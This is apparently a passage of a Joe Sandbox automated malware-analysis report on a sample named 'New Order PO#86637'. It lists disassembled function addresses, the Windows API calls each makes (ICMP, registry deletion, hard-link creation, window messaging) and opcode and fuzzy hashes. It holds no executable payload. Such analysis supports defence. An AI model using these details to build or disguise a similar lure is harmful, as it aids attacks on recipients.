Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: ICMP.DLL$IcmpCloseHandle
API String ID: 2574300362-3530519716
Opcode ID: 21a2acdac0ba1e2d746e72dbff1012e7ad80fb0484e1fffebf05da08cb8a0c44
Instruction ID: fe30dd6f995ef3e52e92cf139519288d45b371df6a06e7fbbc01cfddaae6e452
Opcode Fuzzy Hash: 21a2acdac0ba1e2d746e72dbff1012e7ad80fb0484e1fffebf05da08cb8a0c44
Instruction Fuzzy Hash: 89E01275500316DFDB105F66D80564B77DCDB14751F10482AFD45E2A51DBB8D48087E8

Function 004312FE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ICMP.DLL), ref: 00431310
GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 00431322

Strings

ICMP.DLL, xrefs: 0043130B
IcmpCreateFile, xrefs: 0043131C

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: ICMP.DLL$IcmpCreateFile
API String ID: 2574300362-275556492
Opcode ID: c8e81b458e49d693ad0b98c25d1a2273645c6015ec642ff3830cff94addfde50
Instruction ID: 95e0d00128142f820e0a83de5ed484af687323a382b0c693d148963e73e99334
Opcode Fuzzy Hash: c8e81b458e49d693ad0b98c25d1a2273645c6015ec642ff3830cff94addfde50
Instruction Fuzzy Hash: E3E0C270400306EFD7107FA5D81464A77E8DB08310F104C2AFC40A2650C7B8D48087A8

Function 0043129A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ICMP.DLL), ref: 004312AC
GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004312BE

Strings

IcmpSendEcho, xrefs: 004312B8
ICMP.DLL, xrefs: 004312A7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: ICMP.DLL$IcmpSendEcho
API String ID: 2574300362-58917771
Opcode ID: 8463976e88658be12d547e53f001863c36b7eb8c5d8a0eb88088b9b0d7e59d79
Instruction ID: f6e067919a3be2c94262fb81e38fb1c28335358536499f04279aa6303c0198c7
Opcode Fuzzy Hash: 8463976e88658be12d547e53f001863c36b7eb8c5d8a0eb88088b9b0d7e59d79
Instruction Fuzzy Hash: ADE0C2B0400706DFC7105F65D80465B77D8DB04321F10482BFD80E2610C7B8E48087A8

Function 00430C7F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00430C91
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00430CA3

Strings

RegDeleteKeyExW, xrefs: 00430C9D
advapi32.dll, xrefs: 00430C8C

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: d4a2309a593705586ca0189df29ebf11fe16cb5b9b4952fb03c76dd6ffec2ddb
Instruction ID: e1e112c22781e886f83f7ab60c8bc672304d94c0271b2a691c2b6ddb7eb549cd
Opcode Fuzzy Hash: d4a2309a593705586ca0189df29ebf11fe16cb5b9b4952fb03c76dd6ffec2ddb
Instruction Fuzzy Hash: 3FE0C2B0440315AFCB106F6AD95460B7BD89B14321F10583BF980E2600C7B8E88087B8

Function 00430DC1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00430DD3
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00430DE5

Strings

GetSystemWow64DirectoryW, xrefs: 00430DDF
kernel32.dll, xrefs: 00430DCE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 14bf9b0efbe06d93ad9dae09c2ad7cadeb51a6503e8f45336d859f06d84a08d6
Instruction ID: 24515a708fc6b3a38513646dac5635f6d90a943ae1c03eade4216686bbe3791e
Opcode Fuzzy Hash: 14bf9b0efbe06d93ad9dae09c2ad7cadeb51a6503e8f45336d859f06d84a08d6
Instruction Fuzzy Hash: 51E0127154070A9BD7105FA5E91878A77D8DB14751F10882AFD45E2650D7B8E480C7BC

Function 00451D2B Relevance: 6.4, APIs: 4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f77df26dc74fc40ac7bf47809af4b9178697b073442c11c01de5ef3306f6c16
Instruction ID: c5df29d3d24fc858ebdc5227190e2e918b6fbc7f8fe9fd347d916346834f6d96
Opcode Fuzzy Hash: 6f77df26dc74fc40ac7bf47809af4b9178697b073442c11c01de5ef3306f6c16
Instruction Fuzzy Hash: 66E17F75600209AFCB04DF98C880EAEB7B9FF88714F10859AE909DB351D775EE45CBA0

Function 00479500 Relevance: 6.2, APIs: 4, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0047950F
SysAllocString.OLEAUT32(00000000), ref: 004795D8
VariantCopy.OLEAUT32(?,?), ref: 0047960F
VariantClear.OLEAUT32(?), ref: 00479650

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: d4078b498bd58c38c4ff211c6799319bb2158b2b01decc8b4cd966ad5c1122ff
Instruction ID: 372c40b5ecffa4d340e825e49f449287305c7189bb1404562c27c74c4f1437f4
Opcode Fuzzy Hash: d4078b498bd58c38c4ff211c6799319bb2158b2b01decc8b4cd966ad5c1122ff
Instruction Fuzzy Hash: 8251C436600209A6C700FF3AD8815DAB764EF84315F50863FFD0897252DB78DA1997EA

Function 0046993E Relevance: 6.1, APIs: 4, Instructions: 149windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,0000110A,00000004,?), ref: 00469990
__itow.LIBCMT ref: 004699CD

Part of subcall function 00461C4A: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00461CC2

SendMessageW.USER32(00000000,0000110A,00000001,?), ref: 00469A3D
__itow.LIBCMT ref: 00469A97

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: f450223117ea95bfee34014d9d84978b58918b7dbb146b9b64e9adf8c20a5af9
Instruction ID: c5a9f548720e127460bbd30f9c4a1142764b372a0404ca0a71d180b9b8c9b2b0
Opcode Fuzzy Hash: f450223117ea95bfee34014d9d84978b58918b7dbb146b9b64e9adf8c20a5af9
Instruction Fuzzy Hash: E8415671A002096BDB14EF95D981AEF77BC9F58314F00405EFA0567281E7789E46CBE9

Function 004499DB Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00449A4A
ScreenToClient.USER32(?,?), ref: 00449A80
MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00449AEC

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: d0f348dd6b8999688d199205b3412f9258e7834e979bdc0e5f61431c3cd0f715
Instruction ID: 772f2e9a8c44c8b90650fefa000f178a1b73e5e444e4323f54854131c67d2362
Opcode Fuzzy Hash: d0f348dd6b8999688d199205b3412f9258e7834e979bdc0e5f61431c3cd0f715
Instruction Fuzzy Hash: 5A517C70A00249AFEB14CF68D8C1AAB77B6FF58314F10822EF91597390D774AD90DB98

Function 0041415F Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141FA
__flush.LIBCMT ref: 00414218
__write.LIBCMT ref: 0041423F
__flsbuf.LIBCMT ref: 0041426A

Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: b31e9d6d4fc57bcba7966bec51b765adca5e1eea9d7940e8138ef5a4af09ff03
Instruction ID: 72632960f292c6e9309c64fc9b7016af72cb639159fa0dd3c9cf05ee08d0b78d
Opcode Fuzzy Hash: b31e9d6d4fc57bcba7966bec51b765adca5e1eea9d7940e8138ef5a4af09ff03
Instruction Fuzzy Hash: CB41D531A00715ABDB248FA5C8486DFBBB5AFD0364F24856EF42597680D778DDC1CB48

Function 00441672 Relevance: 6.1, APIs: 4, Instructions: 116windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(00000000,?), ref: 0044169A
GetWindowRect.USER32(?,?), ref: 00441722
PtInRect.USER32(?,?,?), ref: 00441734
MessageBeep.USER32(00000000), ref: 004417AD

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: efc75fb8ed246b6ad65f2e8b456486d9870e0f063911f7aa846460c85c9d1d50
Instruction ID: 3e4d0a9d31bb6386801ef6381a7f0d6bf168684d8964ff5a195b0ca439f55e04
Opcode Fuzzy Hash: efc75fb8ed246b6ad65f2e8b456486d9870e0f063911f7aa846460c85c9d1d50
Instruction Fuzzy Hash: 5141A539A002049FE714DF54D884E6AB7B5FF95721F1482AED9158B360DB34AC81CB94

Function 0045D1AF Relevance: 6.1, APIs: 4, Instructions: 103fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D248
GetLastError.KERNEL32(?,00000000), ref: 0045D26C
DeleteFileW.KERNEL32(00000000,?,?,00000000), ref: 0045D28C
CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 0045D2AA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 49223ed515fb619a5bee3fab41eec0f0b951464039ac7af7222e30fa4423140a
Instruction ID: 6818256dd78c2cb29ac0ce267de24fb792dca3a41353b59757f5ace631f71379
Opcode Fuzzy Hash: 49223ed515fb619a5bee3fab41eec0f0b951464039ac7af7222e30fa4423140a
Instruction Fuzzy Hash: DC318DB1A00201EBDB10EFB5C945A1ABBE8AF45319F10885EFC44AB343CB79ED45CB94

Function 0042083F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00420873
__isleadbyte_l.LIBCMT ref: 004208A6
MultiByteToWideChar.KERNEL32(BBDAE900,00000009,?,000001AC,00000000,00000000,?,?,?,0042D7C1,?,00000000), ref: 004208D7
MultiByteToWideChar.KERNEL32(BBDAE900,00000009,?,00000001,00000000,00000000,?,?,?,0042D7C1,?,00000000), ref: 00420945

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 6122c04dd5dc57efc0e5b6c0779ec963bae9ccf891294cd495d8fd5d7cdcec1f
Instruction ID: f6550d230e50e909e13d2a99824cc28569674f7a7b9e5ef0daa2e7ce22e82e6e
Opcode Fuzzy Hash: 6122c04dd5dc57efc0e5b6c0779ec963bae9ccf891294cd495d8fd5d7cdcec1f
Instruction Fuzzy Hash: D731E231B00265EFDB20EF65E884AAF3BE5BF00310F55496AE4658B292D734CD80DB98

Function 0045039B Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 004503C8
DefDlgProcW.USER32(?,00000138,?,?), ref: 00450417
DefDlgProcW.USER32(?,00000133,?,?), ref: 00450466
DefDlgProcW.USER32(?,00000134,?,?), ref: 00450497

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Proc$Parent
String ID:
API String ID: 2351499541-0
Opcode ID: 953005dfd523491bc8661b2d189c1fe3a1d27544861a9947cd3b684206b02ae0
Instruction ID: 48835c6935d03606f494e5d0f95072c3389227be5880c4b08380f2331de9f088
Opcode Fuzzy Hash: 953005dfd523491bc8661b2d189c1fe3a1d27544861a9947cd3b684206b02ae0
Instruction Fuzzy Hash: F231B73A2001046BD720CF18DC94DAB7719EF97335B14461BFA298B3D3CB759856C769

Function 00442A83 Relevance: 6.1, APIs: 4, Instructions: 87windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00442AC9
TranslateMessage.USER32(?), ref: 00442B01
DispatchMessageW.USER32(?), ref: 00442B0B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00442B21

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 36eab9d42bd73f6f728abf92f57c3db94032fb3fd80da71d70c6aa8f6f72699a
Instruction ID: 5e5183f3b0572ad37d893cec5a7cf9421d6c1ddc4b80b1975d6d8daaa3c1acd1
Opcode Fuzzy Hash: 36eab9d42bd73f6f728abf92f57c3db94032fb3fd80da71d70c6aa8f6f72699a
Instruction Fuzzy Hash: 012126719583469AFB30DF649D85FB7BBA8CB24314F40407BF91097281EAB86848C769

Function 0047438B Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?), ref: 0047439C

Part of subcall function 004439C1: GetWindowThreadProcessId.USER32(?,00000000), ref: 004439E4
Part of subcall function 004439C1: GetCurrentThreadId.KERNEL32 ref: 004439EB
Part of subcall function 004439C1: AttachThreadInput.USER32(00000000), ref: 004439F2

GetCaretPos.USER32(?), ref: 004743B2
ClientToScreen.USER32(00000000,?), ref: 004743E8
GetForegroundWindow.USER32 ref: 004743EE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: f13b499454a1a1822ca13fc8ae6b328d463f7326d10c65fcbffa9176c03fd335
Instruction ID: 29594bdffde582d62cf8cb535202cb0f6e37f5c0e74140e0e8dac686a3932322
Opcode Fuzzy Hash: f13b499454a1a1822ca13fc8ae6b328d463f7326d10c65fcbffa9176c03fd335
Instruction Fuzzy Hash: 2F21AC71A00305ABD710EF75CC86B9E77B9AF44708F14446EF644BB2C2DBF9A9408BA5

Function 004494A5 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00430626: _wcspbrk.LIBCMT ref: 00430636

SendMessageW.USER32(?,00001002,00000000,?), ref: 00449477
SendMessageW.USER32(?,00001060,00000000,00000004), ref: 00449507
_wcslen.LIBCMT ref: 00449519
_wcslen.LIBCMT ref: 00449526

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
